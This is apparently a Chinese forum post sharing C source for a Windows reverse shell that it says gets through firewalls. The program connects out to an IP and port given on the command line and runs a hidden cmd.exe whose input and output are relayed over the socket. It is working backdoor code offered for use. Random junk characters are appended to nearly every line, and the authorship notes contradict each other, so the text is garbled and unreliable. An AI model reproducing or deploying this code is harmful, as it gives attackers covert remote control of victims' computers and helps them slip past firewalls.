这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6nxf<1
T w/CJg
/* ============================== ~D
5'O^
Rebound port in Windows NT [f^~Z'TIN/
By wind,2006/7 b)
.@ xS
===============================*/ )|\72Z~eq
#include Lv#DIQ8y
#include 3\6jzD
:0#!=
#pragma comment(lib,"wsock32.lib") < R0c=BZ>
pH)V:BmJ
void OutputShell(); 8`'_ckIgr
SOCKET sClient; |1;0q<Ka
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; dZv-lMYBE
6rdm=8WFA
void main(int argc,char **argv) }LQ&AIRN
{ .rax`@\8
WSADATA stWsaData; \'j%q\Bl;
int nRet; 5AQ $xm4
SOCKADDR_IN stSaiClient,stSaiServer; ]Kil/Y
YdIV_&-W
if(argc != 3) ;J2=6np
{ ^'[Rb!Q8
printf("Useage:\n\rRebound DestIP DestPort\n"); `P"-9Ue=
return; R (4 :_ xc
} {Pu\KRU
|PTL!>ym2
WSAStartup(MAKEWORD(2,2),&stWsaData); /q(+r5k \
Ge|caiH1I
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yQ6{-:`)
9/q4]%`
stSaiClient.sin_family = AF_INET; ]Jm9D=
stSaiClient.sin_port = htons(0); /.Gx
n0
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _ ?=bW
q'{E $V)E
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ${mHbqN
{ $wC]S4C
printf("Bind Socket Failed!\n"); N2=gSEY
return; / ijj;9EB
} oP_'0h0X
Y{um1)k
stSaiServer.sin_family = AF_INET; 0Tg/R4dI
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a&4>xZU #
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); yD5T'np<4
+-`Q}~s+
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W<k) '|
{ kLADd"C
printf("Connect Error!"); qDNqd
return; KZ;U6TBiB
} aFd
,
OutputShell(); T? _$
} 2"JIlS;J}7
ym8\q:N(R
void OutputShell() Y#NlbKkzu
{ r'k-*I
char szBuff[1024]; !dSY?1>U<
SECURITY_ATTRIBUTES stSecurityAttributes; 8_m dh +
OSVERSIONINFO stOsversionInfo; ^MDBJ0
I.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ) Q]kUG#`
STARTUPINFO stStartupInfo; Pgs4/
char *szShell; v!K%\h2A
PROCESS_INFORMATION stProcessInformation; \O72PC+
unsigned long lBytesRead; e#SNN-hKsJ
JzCfs<D
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z`m-Ca>6
] E`J5o}op
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); FpCj$y~3
stSecurityAttributes.lpSecurityDescriptor = 0; Nl PP|=o
stSecurityAttributes.bInheritHandle = TRUE; Yq3(,
rsy'ZVLUj
n"d~UV^Uw
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); NTls64AS.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4|7L26,]5
N{
;{<C9Z
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Y |n_Ro^~
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1,9RfY V
stStartupInfo.wShowWindow = SW_HIDE; phEM1",4T
stStartupInfo.hStdInput = hReadPipe; nD!C9G#oS
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 86.!sQ8b
`L7 cS
GetVersionEx(&stOsversionInfo); FHqa|4Ie
'+Ts IJh
switch(stOsversionInfo.dwPlatformId) pA"pt~6
{ rh/3N8[6
case 1: XNd:x{
szShell = "command.com"; ayHI(4!$j
break; |]Pigi7y-
default: 1m|1eAGS{
szShell = "cmd.exe"; PBR+NHrZ
break; H Viu7kue`
} h$4V5V
x(}@se
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); E+UOuf*(
k;l^wM
send(sClient,szMsg,77,0); 6D_4o&N
while(1) <o^mQq&
{ OA&N WAm4
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); rXo,\zI;u^
if(lBytesRead) 9O~1o?ni
{ D?8t'3no
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5/>G)&
send(sClient,szBuff,lBytesRead,0); ~+V]MT
} y/4 4((O
else 64o`7
{ VBBqoyP
h
lBytesRead=recv(sClient,szBuff,1024,0); "?}QwtUW
if(lBytesRead<=0) break;
Js'COO
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); l?Bv9k.^?
} 3eFD[c%mN
} :G$NQ*(z
l{_>?]S5
return; Pg|q{fc
}